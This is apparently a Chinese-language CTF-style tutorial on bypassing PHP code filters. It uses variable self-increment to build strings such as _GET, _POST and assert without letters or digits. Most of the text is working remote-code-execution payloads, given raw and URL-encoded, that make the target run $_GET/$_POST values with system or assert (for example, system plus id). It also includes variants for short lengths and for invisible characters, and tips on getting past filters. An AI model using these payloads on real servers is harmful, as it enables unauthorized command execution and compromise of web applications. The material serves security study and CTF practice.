RCE自增构造技巧及绕过

RCE自增

构造步骤

构造字符

[].''  //与数组相关的拼接操作导致隐性转换为字符串形式，替他：$_=[];$_="$_";
(0/0).''   //NAN
(1/0).''   //INF

其中0可以使用_，""，''替换

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获取切片

常规的是['!'=='@'];​

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其实_，""，''也可以做到

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自增得到$_POST[_]($_POST[__])​

<?php
error_reporting(0);
//获取N
$_=(_/_)._;
$_=$_[_];
//自增到O并储存O
$__=++$_;
//自增到P并储存PO
$__=++$_.$__;
//获取_POST
$_++;$_++;$_=_.$__.++$_.++$_;
//得到$_POST[_]($_POST[__])
$$_[_]($$_[__]);

一句话形式，长度87

?cmd=$_=(_/_)._;$_=$_[_];$__=++$_;$__=++$_.$__;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_]($$_[__]);
记得url编码+，不编码的话会将+认作空格，直接全编码了省事：
?cmd=%24_%3D(_%2F_)._%3B%24_%3D%24_%5B_%5D%3B%24__%3D%2B%2B%24_%3B%24__%3D%2B%2B%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

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Paylaod

我的Payload，长度87，将_替换成%ff还能更短，post传_和__

?cmd=%24_%3D(_%2F_)._%3B%24_%3D%24_%5B_%5D%3B%24__%3D%2B%2B%24_%3B%24__%3D%2B%2B%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

1.无数字有字母

?cmd=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
//长度118    $_GET[1]($_GET[2])
url编码：
?cmd=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B&1=system&2=id

2​ .无字母无数字

?cmd=$_=[]._;$__=$_['!'==','];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;$$_[_]($$_[__]); 
//$_GET[_]($_GET[__]), 以便get传参, 参数名为_和__, 传参：?_=system&__=ls
url编码：
?cmd=%24_%3D%5B%5D._%3B%24__%3D%24_%5B'!'%3D%3D'%2C'%5D%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___%3D%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%2B%2B%24__.%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24___%3D%24___.%2B%2B%24__%3B%24_%3D'_'.%24___%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B%20&_=system&__=id

3.assert($POST[]);

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();
url编码：
?cmd=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

4. ​$_POST[%ff]($_POST[_]);​ ​ 使用不可见字符%ff缩短长度，使用burpsuite发

一句话形式：
?cmd=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
POST传参
%ff=system&_=id

这个Payload是有利用条件的

​_(%ff/%ff)[%ff]​

这里的操作是利用了插件gettext

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此时_就相当于gettext()

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还有一个有趣的点

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这里的$_明明是O拼接P为OP，结果打印出来是PO

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我尝试调换位置，P拼接O，结果却是OP

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可以看到前自增是PP，而不是OP

这里有点迷惑，求教师傅们

bypass

• 对于中括号的过滤可以使用花括号代替

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• 对于/​的过滤可以放弃获取N字符，选择获取A字符开始构造比较近的GET

• $_=.+;()这些字符是必须的，其他的像@#%！这些都无所谓换成那几个必须的字符就行了

比如

$_=[]._;$__=$_['!'==','];
换成
$_=[]._;$__=$_['='=='_'];

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